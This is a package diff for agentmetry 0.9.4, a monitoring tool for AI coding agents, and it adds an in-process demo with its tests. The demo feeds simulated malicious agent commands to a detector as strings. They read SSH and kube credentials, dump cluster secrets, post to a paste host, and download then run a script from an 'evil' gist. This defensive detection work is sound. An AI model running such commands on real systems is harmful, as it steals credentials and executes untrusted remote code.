  270. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_suite_leaves_real_home_alone.py +0 -0
  271. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_tool_policy.py +0 -0
  272. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_tool_policy_agent_cli.py +0 -0
  273. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_tool_policy_git_hooks.py +0 -0
  274. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_trail_anchor.py +0 -0
  275. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_trail_chain.py +0 -0
  276. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_trail_concurrency.py +0 -0
  277. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_trail_merkle.py +0 -0
  278. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_trusted_host.py +0 -0
  279. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_unattended_agent_policy.py +0 -0
  280. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_version.py +0 -0
  281. {agentmetry-0.9.3 → agentmetry-0.9.4}/tests/test_yaml_detection_rules.py +0 -0
  282. {agentmetry-0.9.3 → agentmetry-0.9.4}/tools/generate_sigma_pack.py +0 -0
  283. {agentmetry-0.9.3 → agentmetry-0.9.4}/tools/mcp_audit_proxy.py +0 -0
  284. {agentmetry-0.9.3 → agentmetry-0.9.4}/tools/vault_fs_server.py +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.5
2
2
  Name: agentmetry
3
- Version: 0.9.3
3
+ Version: 0.9.4
4
4
  Summary: Local-first flight recorder for AI coding agents: hash-chained audit trail, MITRE-mapped sequence detection, DLP
5
5
  Project-URL: Homepage, https://agentmetry.ai
6
6
  Project-URL: Source, https://github.com/blitzcrieg1/agentmetry
@@ -1273,6 +1273,13 @@ def cmd_benchmark(args: argparse.Namespace) -> int:
1273
1273
  return 0 if report.passed else 1
1274
1274
 
1275
1275
 
1276
+ def cmd_demo(args: argparse.Namespace) -> int:
1277
+ """Replay an attack session through the real ingest path, then tamper with it."""
1278
+ from agentmetry.demo import run
1279
+
1280
+ return run(args.scenario, fast=args.fast)
1281
+
1282
+
1276
1283
  def cmd_doctor(args: argparse.Namespace) -> int:
1277
1284
  """SIEM preflight: manifests, trail chain, orchestrator health, hooks."""
1278
1285
  sys.path.insert(0, str(_ORCH_ROOT))
@@ -1290,7 +1297,7 @@ def main(argv: list[str] | None = None) -> int:
1290
1297
  # A Windows console defaults to cp1252 and cannot encode the dashes this CLI
1291
1298
  # prints, so `verify --trail` rendered as "OK ? 422 chained line(s)". That is
1292
1299
  # the flagship trust command; it must not look broken on the primary dogfood
1293
- # platform. Same guard as scripts/demo.py.
1300
+ # platform. Same guard as agentmetry/demo.py.
1294
1301
  try:
1295
1302
  sys.stdout.reconfigure(encoding="utf-8") # type: ignore[union-attr]
1296
1303
  except Exception: # noqa: S110 # pragma: no cover - host console dependent
@@ -1309,9 +1316,21 @@ def main(argv: list[str] | None = None) -> int:
1309
1316
 
1310
1317
  return proxy_main(raw[1:])
1311
1318
 
1312
- parser = argparse.ArgumentParser(prog="agentmetry", description="Agentmetry local ops")
1319
+ parser = argparse.ArgumentParser(
1320
+ prog="agentmetry",
1321
+ description="Agentmetry local ops. New here? Start with `agentmetry demo`.",
1322
+ )
1313
1323
  parser.add_argument("--port", type=int, default=8000)
1314
1324
  sub = parser.add_subparsers(dest="command", required=True)
1325
+ # First, so it heads the help: it is the one command that needs nothing set up.
1326
+ from agentmetry.demo import add_arguments as _demo_arguments
1327
+
1328
+ _demo_arguments(
1329
+ sub.add_parser(
1330
+ "demo",
1331
+ help="watch an agent get caught and the record refuse a rewrite (in-process, nothing kept)",
1332
+ )
1333
+ )
1315
1334
 
1316
1335
  sub.add_parser("stop", help="stop the orchestrator")
1317
1336
  start = sub.add_parser("start", help="start the orchestrator (detached)")
@@ -1546,6 +1565,7 @@ def main(argv: list[str] | None = None) -> int:
1546
1565
 
1547
1566
  args = parser.parse_args(argv)
1548
1567
  handlers = {
1568
+ "demo": cmd_demo,
1549
1569
  "start": cmd_start,
1550
1570
  "serve": cmd_serve,
1551
1571
  "stop": cmd_stop,
@@ -221,7 +221,8 @@ def _check_trail(report: DoctorReport) -> None:
221
221
  if not trail.is_file():
222
222
  report.warn(
223
223
  "trail",
224
- f"No trail yet at {trail.name} - run `python scripts/demo.py` or capture a session",
224
+ f"No trail yet at {trail.name} - `agentmetry hooks install` records the next "
225
+ "agent session, and `agentmetry demo` shows one without touching this machine",
225
226
  )
226
227
  return
227
228
  from agentmetry.core.audit.trail_chain import verify_trail_file
@@ -702,7 +703,17 @@ def run_doctor(
702
703
  if env_file.is_file():
703
704
  report.ok("env", f"Found {env_file} (secrets stay gitignored)")
704
705
  else:
705
- report.warn("env", f"No {env_file} - copy from .env.example if needed")
706
+ example = paths.PACKAGE_PARENT / ".env.example"
707
+ if paths.is_checkout() and example.is_file():
708
+ report.warn("env", f"No {env_file} - copy {example} to change a default")
709
+ else:
710
+ # An installed package ships no .env.example and needs no .env: every
711
+ # setting has a default. Telling a pip user to copy a file they do not
712
+ # have was the first thing a fresh install got wrong.
713
+ report.ok(
714
+ "env",
715
+ f"No .env, so defaults are in use. Any AGENTMETRY_* setting can go in {env_file}",
716
+ )
706
717
 
707
718
  data_dir = paths.data_dir()
708
719
  legacy = paths.legacy_site_packages_data()
@@ -10,4 +10,4 @@ Bump this here and add the matching CHANGELOG section in the same commit.
10
10
 
11
11
  from __future__ import annotations
12
12
 
13
- __version__ = "0.9.3"
13
+ __version__ = "0.9.4"
@@ -0,0 +1,472 @@
1
+ """`agentmetry demo`: watch an AI agent exfiltrate a secret, get caught, and
2
+ then watch the record refuse to be rewritten.
3
+
4
+ Runs entirely in-process against a throwaway data directory. No server, no
5
+ token, no network, no config, and nothing on this machine is read or written
6
+ outside a temp directory that is deleted on the way out.
7
+
8
+ agentmetry demo # classic credential-exfil chain
9
+ agentmetry demo --scenario hf # HF July 2026 agentic patterns
10
+ agentmetry demo --scenario all # both
11
+
12
+ The classic scenario replays a realistic agent session through the *real*
13
+ ingest API, the same code path a Claude Code or Cursor hook uses:
14
+
15
+ 1. The agent reads an SSH private key. -> MITRE T1552.004
16
+ 2. The agent runs a command containing an -> DLP: aws_access_key
17
+ AWS key. (value never stored)
18
+ 3. The agent fetches a URL. -> MITRE T1071.001
19
+ 4. Nobody asked. Agentmetry correlates 1+3
20
+ and fires a CRITICAL detection by itself. -> credential-exfil
21
+
22
+ Then it verifies the hash chain, downgrades the CRITICAL to low the way
23
+ someone covering their tracks would, and shows the verify fail. No single
24
+ event above is an alert. The *sequence* is, and the record of it holds.
25
+
26
+ This lived in `scripts/demo.py`, which a `pip install` does not ship, so the
27
+ one command that shows a stranger what the product does was the one command
28
+ they could not run. It also broke silently in 0.9.3, when the per-install token
29
+ and the host guard started refusing its in-process client, and it only ever
30
+ redirected the trail: the live-detection, disposition and audit databases, and
31
+ the reset it ran on the live store, were the user's real ones.
32
+ """
33
+
34
+ from __future__ import annotations
35
+
36
+ import argparse
37
+ import json
38
+ import logging
39
+ import os
40
+ import shutil
41
+ import sys
42
+ import tempfile
43
+ import time
44
+ import warnings
45
+ from contextlib import contextmanager
46
+ from pathlib import Path
47
+ from typing import Any, Iterator
48
+
49
+ # AWS's published, non-functional example key. Not a real credential.
50
+ FAKE_AWS_KEY = "AKIA" + "IOSFODNN7EXAMPLE" # gitleaks:allow
51
+
52
+ _COLOURS = {
53
+ "dim": "\033[2m", "red": "\033[91m", "green": "\033[92m", "yellow": "\033[93m",
54
+ "blue": "\033[96m", "bold": "\033[1m", "off": "\033[0m",
55
+ }
56
+ C = dict(_COLOURS)
57
+ _FAST = False
58
+ _BAR = "-"
59
+
60
+ # Every setting that names a file the demo's code path writes. Each one is
61
+ # pointed into the temp directory for the run and restored afterwards.
62
+ _PATH_SETTINGS = {
63
+ "audit_export_path": "audit-forward.jsonl",
64
+ "audit_db_path": "audit.db",
65
+ "detection_live_db_path": "detection_live.db",
66
+ "detection_disposition_db_path": "detection_disposition.db",
67
+ }
68
+
69
+
70
+ def _configure_output(*, fast: bool) -> None:
71
+ global C, _FAST, _BAR
72
+ _FAST = fast or os.environ.get("AGENTMETRY_DEMO_FAST", "").strip() in ("1", "true", "yes")
73
+ # AGENTMETRY_DEMO_COLOR=1 keeps the ANSI codes when stdout is a pipe, so the
74
+ # GIF recorder renders the demo's real output instead of a mock-up.
75
+ force = os.environ.get("AGENTMETRY_DEMO_COLOR", "").strip() in ("1", "true", "yes")
76
+ C = dict(_COLOURS) if (sys.stdout.isatty() or force) else dict.fromkeys(_COLOURS, "")
77
+ # A Windows console defaults to cp1252 and cannot encode box-drawing
78
+ # characters. The demo is the first thing a stranger runs; it must never
79
+ # die on a glyph.
80
+ try:
81
+ sys.stdout.reconfigure(encoding="utf-8") # type: ignore[union-attr]
82
+ _BAR = "─"
83
+ except Exception: # noqa: S110 # pragma: no cover - depends on the host console
84
+ _BAR = "-"
85
+
86
+
87
+ def say(text: str = "", pause: float = 0.45) -> None:
88
+ try:
89
+ print(text)
90
+ except UnicodeEncodeError:
91
+ print(text.encode("ascii", "replace").decode("ascii"))
92
+ sys.stdout.flush()
93
+ if not _FAST:
94
+ time.sleep(pause)
95
+
96
+
97
+ def rule(title: str) -> None:
98
+ say(f"\n{C['bold']}{title}{C['off']}\n{C['dim']}{_BAR * 62}{C['off']}", 0.3)
99
+
100
+
101
+ def _reset_singletons() -> None:
102
+ from agentmetry.core.audit.detection.disposition import reset_disposition_store
103
+ from agentmetry.core.audit.detection.live_store import reset_live_store_singleton
104
+ from agentmetry.core.audit.ingest import reset_ingest_sink_cache, reset_pending_approvals
105
+ from agentmetry.core.audit.trail_db import reset_trail_db
106
+
107
+ reset_trail_db()
108
+ reset_live_store_singleton()
109
+ reset_disposition_store()
110
+ reset_ingest_sink_cache()
111
+ reset_pending_approvals()
112
+
113
+
114
+ @contextmanager
115
+ def isolated_settings(root: Path) -> Iterator[Any]:
116
+ """Point every store the ingest path touches at `root`, then put it all back.
117
+
118
+ Auth is off and the TestClient's host is trusted for the duration: the
119
+ client is in-process, there is no socket for anything else to reach, and
120
+ the token file belongs to the real install, so the demo must not create one.
121
+ """
122
+ from agentmetry.core.config import settings
123
+
124
+ overrides: dict[str, Any] = {name: root / file for name, file in _PATH_SETTINGS.items()}
125
+ overrides.update(
126
+ audit_export_enabled=True,
127
+ audit_sink="file",
128
+ dlp_mode="log",
129
+ auth_disabled=True,
130
+ trusted_hosts="testserver",
131
+ operator_id="",
132
+ )
133
+ saved = {name: getattr(settings, name) for name in overrides}
134
+ for name, value in overrides.items():
135
+ setattr(settings, name, value)
136
+ _reset_singletons()
137
+ try:
138
+ yield settings
139
+ finally:
140
+ _reset_singletons()
141
+ for name, value in saved.items():
142
+ setattr(settings, name, value)
143
+
144
+
145
+ class DemoContext:
146
+ def __init__(self, client: Any, scan: Any) -> None:
147
+ self.client = client
148
+ self.scan = scan
149
+
150
+ def step(
151
+ self,
152
+ corr: str,
153
+ desc: str,
154
+ tool: str,
155
+ command: str,
156
+ app_name: str = "cursor",
157
+ ) -> None:
158
+ say(f" {C['blue']}agent{C['off']} {desc}")
159
+ say(f" {C['dim']}$ {command}{C['off']}", 0.2)
160
+ payload: dict[str, Any] = {
161
+ "source_app": app_name,
162
+ "event_type": "tool_called",
163
+ "correlation_id": corr,
164
+ "tool": {"qualified": tool, "command": command},
165
+ }
166
+ verdict = self.scan(tool, {"command": command})
167
+ if verdict.matched:
168
+ payload["dlp"] = {
169
+ "rule_id": verdict.match.rule_id,
170
+ "mode": verdict.mode,
171
+ "pattern_type": verdict.match.pattern_type,
172
+ "category": verdict.match.category,
173
+ "severity": verdict.match.severity,
174
+ "rule_ids": [m.rule_id for m in verdict.matches],
175
+ }
176
+ say(f" {C['yellow']}DLP{C['off']} matched {C['bold']}{verdict.match.rule_id}"
177
+ f"{C['off']} ({verdict.match.severity}), value NOT stored")
178
+ response = self.client.post("/api/v1/audit/ingest", json=payload)
179
+ # The old script ignored this, so a refused request surfaced three steps
180
+ # later as a missing file. Say what actually happened.
181
+ if response.status_code >= 400:
182
+ raise RuntimeError(f"ingest refused the event: HTTP {response.status_code} {response.text}")
183
+ say("", 0.35)
184
+
185
+
186
+ def _events(trail: Path) -> list[dict[str, Any]]:
187
+ from agentmetry.core.audit.trail_chain import unwrap_trail_record
188
+
189
+ return [
190
+ unwrap_trail_record(json.loads(line))
191
+ for line in trail.read_text(encoding="utf-8").splitlines()
192
+ if line.strip()
193
+ ]
194
+
195
+
196
+ def show_trail(settings: Any, sessions: set[str]) -> tuple[list[dict[str, Any]], list[dict[str, Any]]]:
197
+ events = [
198
+ e for e in _events(Path(settings.audit_export_path)) if e.get("correlation_id") in sessions
199
+ ]
200
+ detections = []
201
+ for e in events:
202
+ action = e.get("action") or {}
203
+ if action.get("type") == "detection":
204
+ detections.append(e)
205
+ continue
206
+ tool = (e.get("tool") or {}).get("qualified", "")
207
+ mitre = (e.get("tool") or {}).get("mitre") or {}
208
+ tech = mitre.get("technique_id", "-")
209
+ tactic = mitre.get("tactic", "")
210
+ dlp = (e.get("dlp") or {}).get("rule_id", "")
211
+ colour = C["red"] if tech.startswith("T1552") else C["dim"]
212
+ line = f" {colour}{tool:14}{C['off']} {tech:11} {C['dim']}{tactic}{C['off']}"
213
+ if dlp:
214
+ line += f" {C['yellow']}[dlp:{dlp}]{C['off']}"
215
+ say(line, 0.3)
216
+ return events, detections
217
+
218
+
219
+ def show_detections(detections: list[dict[str, Any]], *, expect: set[str]) -> int:
220
+ rule("Correlated detection (nobody asked for this)")
221
+ if not detections:
222
+ say(f" {C['red']}No detection fired. That is a bug.{C['off']}")
223
+ return 1
224
+ fired: set[str] = set()
225
+ for d in detections:
226
+ det = d["detection"]
227
+ fired.add(det["rule_id"])
228
+ say(f" {C['red']}{C['bold']}[{det['severity'].upper()}] {det['rule_id']}{C['off']}")
229
+ say(f" {det['summary']}")
230
+ say(f" {C['dim']}ATT&CK: {' -> '.join(det['technique_ids'])} · "
231
+ f"correlates {len(det['event_ids'])} events{C['off']}", 0.6)
232
+ if not expect.issubset(fired):
233
+ missing = ", ".join(sorted(expect - fired))
234
+ say(f" {C['red']}Expected detection(s) missing: {missing}{C['off']}")
235
+ return 1
236
+ return 0
237
+
238
+
239
+ def _rehash_from(lines: list[dict[str, Any]], start: int) -> None:
240
+ """Recompute every record hash from index `start` on, in place."""
241
+ from agentmetry.core.audit.trail_chain import compute_record_sha256
242
+
243
+ prev = lines[start - 1]["trail"]["record_sha256"] if start else lines[0]["trail"]["prev_sha256"]
244
+ for record in lines[start:]:
245
+ record["trail"]["prev_sha256"] = prev
246
+ record["trail"]["record_sha256"] = compute_record_sha256(prev, record["event"])
247
+ prev = record["trail"]["record_sha256"]
248
+
249
+
250
+ def _write_lines(path: Path, lines: list[dict[str, Any]]) -> None:
251
+ path.write_text("".join(json.dumps(r, separators=(",", ":")) + "\n" for r in lines), encoding="utf-8")
252
+
253
+
254
+ def run_tamper(settings: Any, scratch: Path) -> int:
255
+ """Verify the trail, rewrite the alert, and show what catches it.
256
+
257
+ Two attempts, because they are caught by different things and the second
258
+ is the honest part. Editing a record breaks its hash. Re-hashing everything
259
+ after the edit produces a chain that verifies, and only a head recorded
260
+ somewhere the host cannot write tells the two apart.
261
+ """
262
+ from agentmetry.core.audit.trail_chain import verify_trail_file
263
+
264
+ trail = Path(settings.audit_export_path)
265
+ rule("Now try to rewrite it")
266
+
267
+ before = verify_trail_file(trail)
268
+ if not before.ok:
269
+ say(f" {C['red']}The fresh trail does not verify: {before.message}. That is a bug.{C['off']}")
270
+ return 1
271
+ say(f" agentmetry verify --trail {C['green']}OK{C['off']}, {before.lines_chained} chained records")
272
+ say(f" {C['dim']}head: seq {before.head_seq}, sha256 {before.head_sha256[:16]}...{C['off']}", 0.6)
273
+
274
+ lines = [json.loads(line) for line in trail.read_text(encoding="utf-8").splitlines() if line.strip()]
275
+ target = next(
276
+ (i for i, r in enumerate(lines) if (r["event"].get("action") or {}).get("type") == "detection"),
277
+ None,
278
+ )
279
+ if target is None:
280
+ say(f" {C['red']}No detection record to tamper with. That is a bug.{C['off']}")
281
+ return 1
282
+
283
+ say(f"\n {C['blue']}someone{C['off']} downgrades the CRITICAL detection to low, in place", 0.5)
284
+ lines[target]["event"]["detection"]["severity"] = "low"
285
+ _write_lines(trail, lines)
286
+ edited = verify_trail_file(trail)
287
+ if edited.ok:
288
+ say(f" {C['red']}The edited trail still verifies. That is a bug.{C['off']}")
289
+ return 1
290
+ say(f" agentmetry verify --trail {C['red']}FAIL{C['off']}, {edited.message}", 0.7)
291
+
292
+ say(f"\n {C['blue']}someone{C['off']} re-hashes every record after the edit, as anyone "
293
+ "with the whole machine could", 0.5)
294
+ _rehash_from(lines, target)
295
+ # A separate file with no sidecar beside it: this attacker has rewritten
296
+ # that too, so nothing on the host remembers the original head.
297
+ forged = scratch / "forged" / trail.name
298
+ forged.parent.mkdir()
299
+ _write_lines(forged, lines)
300
+ rehashed = verify_trail_file(forged)
301
+ if not rehashed.ok:
302
+ say(f" {C['red']}The re-hashed copy should verify on its own: {rehashed.message}{C['off']}")
303
+ return 1
304
+ say(f" agentmetry verify --trail {C['green']}OK{C['off']}, and that is the point")
305
+ same = rehashed.head_sha256 == before.head_sha256
306
+ say(f" {C['dim']}head: seq {rehashed.head_seq}, sha256 {rehashed.head_sha256[:16]}...{C['off']}"
307
+ f" {C['red'] + 'unchanged, that is a bug' if same else C['yellow'] + 'not the head recorded above'}"
308
+ f"{C['off']}", 0.6)
309
+ say("\n A chain catches an edit. Only a head kept off the machine catches a rewrite,")
310
+ say(f" which is what {C['bold']}agentmetry anchor{C['off']} publishes.", 0.6)
311
+ return 1 if same else 0
312
+
313
+
314
+ def run_classic(ctx: DemoContext, settings: Any) -> int:
315
+ corr = "demo-session-1"
316
+
317
+ rule("The session")
318
+ ctx.step(corr, "reads a private key", "cursor.Read", "cat ~/.ssh/id_rsa")
319
+ ctx.step(
320
+ corr,
321
+ "writes a cloud key into a config file",
322
+ "cursor.Shell",
323
+ f"echo aws_access_key_id={FAKE_AWS_KEY} >> ~/.aws/credentials",
324
+ )
325
+ ctx.step(corr, "fetches a URL", "WebFetch", "fetch https://paste.example.com/upload", "claude")
326
+
327
+ rule("What Agentmetry recorded")
328
+ events, detections = show_trail(settings, {corr})
329
+
330
+ err = show_detections(detections, expect={"credential-exfil"})
331
+
332
+ rule("The receipts")
333
+ leaked = FAKE_AWS_KEY in Path(settings.audit_export_path).read_text(encoding="utf-8")
334
+ api_count = ctx.client.get(f"/api/v1/audit/detections/{corr}").json()["count"]
335
+ say(f" Secret value in the trail? "
336
+ f"{C['red'] + 'YES, BUG' if leaked else C['green'] + 'NO'}{C['off']}")
337
+ say(f" Detections from the trail: {C['bold']}{api_count}{C['off']} "
338
+ f"{C['dim']}via GET /api/v1/audit/detections/{{id}}{C['off']}")
339
+ say(f" Events a SIEM sink receives: {C['bold']}{len(events)}{C['off']} "
340
+ f"{C['dim']}(Splunk, Elastic, Sentinel, SecOps, Loki){C['off']}")
341
+ return 1 if leaked or err else 0
342
+
343
+
344
+ def run_hf(ctx: DemoContext, settings: Any) -> int:
345
+ corr_cloud = "demo-hf-cloud"
346
+ corr_stage = "demo-hf-staging"
347
+
348
+ rule("HF July 2026: agentic intrusion patterns")
349
+ say(f"{C['dim']}Inspired by Hugging Face's July 2026 disclosure: autonomous agents "
350
+ f"harvesting credentials and staging C2 on public hosts.{C['off']}", 0.6)
351
+
352
+ rule("Session 1: credential harvest, then the cloud API")
353
+ ctx.step(corr_cloud, "reads cluster credentials", "cursor.Read", "cat ~/.kube/config")
354
+ ctx.step(corr_cloud, "queries the cluster API", "cursor.Shell", "kubectl get secrets -A")
355
+
356
+ rule("Session 2: staged download, then execution")
357
+ ctx.step(
358
+ corr_stage,
359
+ "fetches a payload from a public gist",
360
+ "cursor.Shell",
361
+ "curl -s https://gist.githubusercontent.com/evil/raw/stage.sh -o /tmp/stage.sh",
362
+ )
363
+ ctx.step(corr_stage, "runs the staged script", "cursor.Shell", "bash /tmp/stage.sh")
364
+
365
+ rule("What Agentmetry recorded")
366
+ _, detections = show_trail(settings, {corr_cloud, corr_stage})
367
+
368
+ err = show_detections(
369
+ detections,
370
+ expect={"credential-read-then-cloud-api", "remote-staging-then-execute"},
371
+ )
372
+
373
+ rule("The receipts")
374
+ cloud_count = ctx.client.get(f"/api/v1/audit/detections/{corr_cloud}").json()["count"]
375
+ stage_count = ctx.client.get(f"/api/v1/audit/detections/{corr_stage}").json()["count"]
376
+ say(f" Cloud session detections: {C['bold']}{cloud_count}{C['off']} "
377
+ f"{C['dim']}({corr_cloud}){C['off']}")
378
+ say(f" Staging session detections: {C['bold']}{stage_count}{C['off']} "
379
+ f"{C['dim']}({corr_stage}){C['off']}")
380
+ return err
381
+
382
+
383
+ def next_steps() -> None:
384
+ rule("Record your own agents")
385
+ say(f" {C['bold']}agentmetry hooks install{C['off']} "
386
+ f"{C['dim']}hook every supported agent on this machine{C['off']}", 0.15)
387
+ say(f" {C['bold']}agentmetry start{C['off']} "
388
+ f"{C['dim']}run the recorder{C['off']}", 0.15)
389
+ say(f" {C['bold']}agentmetry dashboard{C['off']} "
390
+ f"{C['dim']}open it, signed in{C['off']}", 0.15)
391
+ say(f" {C['bold']}agentmetry doctor{C['off']} "
392
+ f"{C['dim']}check what is and is not being recorded{C['off']}", 0.15)
393
+ say(f"\n{C['dim']}The demo ran in a temp directory, now deleted. Nothing left this machine.{C['off']}\n",
394
+ 0.1)
395
+
396
+
397
+ def run(scenario: str = "classic", *, fast: bool = False) -> int:
398
+ """Run the demo and return a process exit code (0 when every check held)."""
399
+ _configure_output(fast=fast)
400
+ logging.disable(logging.WARNING)
401
+ tmp = Path(tempfile.mkdtemp(prefix="agentmetry-demo-"))
402
+ # Anything that resolves the data directory on its own during the run,
403
+ # such as the API's log file on first import, resolves to the temp one.
404
+ saved_env = os.environ.get("AGENTMETRY_DATA_DIR")
405
+ os.environ["AGENTMETRY_DATA_DIR"] = str(tmp / "data")
406
+ try:
407
+ with warnings.catch_warnings():
408
+ warnings.simplefilter("ignore")
409
+ (tmp / "data").mkdir()
410
+ with isolated_settings(tmp / "data") as settings:
411
+ from fastapi.testclient import TestClient
412
+
413
+ from agentmetry.api.main import app
414
+ from agentmetry.core.audit.dlp import scan
415
+
416
+ client = TestClient(app)
417
+ ctx = DemoContext(client, scan)
418
+
419
+ rule("AGENTMETRY: the local flight recorder for AI coding agents")
420
+ say(f"{C['dim']}Replaying agent sessions through the real ingest API, "
421
+ f"into a throwaway trail.{C['off']}", 0.8)
422
+
423
+ code = 0
424
+ if scenario in ("classic", "all"):
425
+ code |= run_classic(ctx, settings)
426
+ if scenario in ("hf", "all"):
427
+ code |= run_hf(ctx, settings)
428
+ code |= run_tamper(settings, tmp)
429
+ next_steps()
430
+ return code
431
+ finally:
432
+ if saved_env is None:
433
+ os.environ.pop("AGENTMETRY_DATA_DIR", None)
434
+ else:
435
+ os.environ["AGENTMETRY_DATA_DIR"] = saved_env
436
+ _close_handlers_under(tmp)
437
+ logging.disable(logging.NOTSET)
438
+ shutil.rmtree(tmp, ignore_errors=True)
439
+
440
+
441
+ def _close_handlers_under(root: Path) -> None:
442
+ """Detach log handlers writing into `root`. Windows cannot delete an open file."""
443
+ logger = logging.getLogger()
444
+ for handler in list(logger.handlers):
445
+ name = getattr(handler, "baseFilename", "")
446
+ if name and Path(name).resolve().is_relative_to(root.resolve()):
447
+ logger.removeHandler(handler)
448
+ handler.close()
449
+
450
+
451
+ def add_arguments(parser: argparse.ArgumentParser) -> None:
452
+ parser.add_argument(
453
+ "--scenario",
454
+ choices=("classic", "hf", "all"),
455
+ default="classic",
456
+ help="classic: credential exfil (default); hf: HF July 2026 patterns; all: both",
457
+ )
458
+ parser.add_argument("--fast", action="store_true", help="no pauses between steps")
459
+
460
+
461
+ def main(argv: list[str] | None = None) -> int:
462
+ parser = argparse.ArgumentParser(
463
+ prog="agentmetry demo",
464
+ description="Agentmetry live demo (in-process, no network, nothing kept).",
465
+ )
466
+ add_arguments(parser)
467
+ args = parser.parse_args(argv)
468
+ return run(args.scenario, fast=args.fast)
469
+
470
+
471
+ if __name__ == "__main__":
472
+ raise SystemExit(main())
@@ -0,0 +1,76 @@
1
+ """`agentmetry demo` is the first command a stranger runs, so it is tested as one.
2
+
3
+ It moved into the package because `pip install` does not ship `scripts/`. It
4
+ had also broken silently: 0.9.3's per-install token and host guard refused its
5
+ in-process client, and the script only redirected the trail file, so the
6
+ live-detection, disposition and audit databases it wrote (and the live store it
7
+ cleared) were the user's real ones.
8
+ """
9
+
10
+ from __future__ import annotations
11
+
12
+ import os
13
+ import subprocess
14
+ import sys
15
+ from pathlib import Path
16
+
17
+ from agentmetry import demo
18
+ from agentmetry.core.config import settings
19
+
20
+ _REPO = Path(__file__).resolve().parents[3]
21
+
22
+
23
+ def test_every_scenario_catches_the_attack_and_the_edit(capsys):
24
+ assert demo.run("all", fast=True) == 0
25
+ out = capsys.readouterr().out
26
+ for rule_id in ("credential-exfil", "credential-read-then-cloud-api", "remote-staging-then-execute"):
27
+ assert f"[CRITICAL] {rule_id}" in out
28
+ assert "Secret value in the trail? NO" in out
29
+ assert "FAIL, record_sha256 mismatch" in out
30
+ # The honest half: a re-hashed chain verifies, and only the head differs.
31
+ assert "not the head recorded above" in out
32
+ assert "agentmetry hooks install" in out
33
+
34
+
35
+ def test_the_demo_writes_nothing_outside_its_own_temp_dir(tmp_path: Path, monkeypatch, capsys):
36
+ sentinel = tmp_path / "real-data-dir"
37
+ sentinel.mkdir()
38
+ monkeypatch.setenv("AGENTMETRY_DATA_DIR", str(sentinel))
39
+ names = (*demo._PATH_SETTINGS, "auth_disabled", "trusted_hosts", "audit_sink", "dlp_mode")
40
+ before = {name: getattr(settings, name) for name in names}
41
+
42
+ assert demo.run("classic", fast=True) == 0
43
+
44
+ assert list(sentinel.iterdir()) == []
45
+ assert not Path(before["audit_export_path"]).exists()
46
+ assert {name: getattr(settings, name) for name in names} == before
47
+ assert os.environ["AGENTMETRY_DATA_DIR"] == str(sentinel)
48
+
49
+
50
+ def test_the_demo_runs_with_the_per_install_token_on(monkeypatch, capsys):
51
+ # The default since 0.9.3, and what broke the script: every ingest was
52
+ # refused and the failure surfaced later as a missing file.
53
+ monkeypatch.setattr(settings, "auth_disabled", False)
54
+ monkeypatch.setattr(settings, "trusted_hosts", "")
55
+ assert demo.run("classic", fast=True) == 0
56
+ assert settings.auth_disabled is False
57
+ assert settings.trusted_hosts == ""
58
+
59
+
60
+ def test_the_cli_runs_it_and_lists_it_first(capsys):
61
+ from agentmetry.cli import main
62
+
63
+ assert main(["demo", "--fast"]) == 0
64
+ assert "[CRITICAL] credential-exfil" in capsys.readouterr().out
65
+
66
+
67
+ def test_the_clone_wrapper_still_runs(tmp_path: Path):
68
+ # scripts/make_demo_gif.py renders the README GIF from this script's output.
69
+ env = {**os.environ, "AGENTMETRY_DATA_DIR": str(tmp_path), "AGENTMETRY_DEMO_FAST": "1"}
70
+ done = subprocess.run(
71
+ [sys.executable, str(_REPO / "scripts" / "demo.py")],
72
+ capture_output=True, text=True, encoding="utf-8", env=env, timeout=120, check=False,
73
+ )
74
+ assert done.returncode == 0, done.stdout + done.stderr
75
+ assert "[CRITICAL] credential-exfil" in done.stdout
76
+ assert list(tmp_path.iterdir()) == []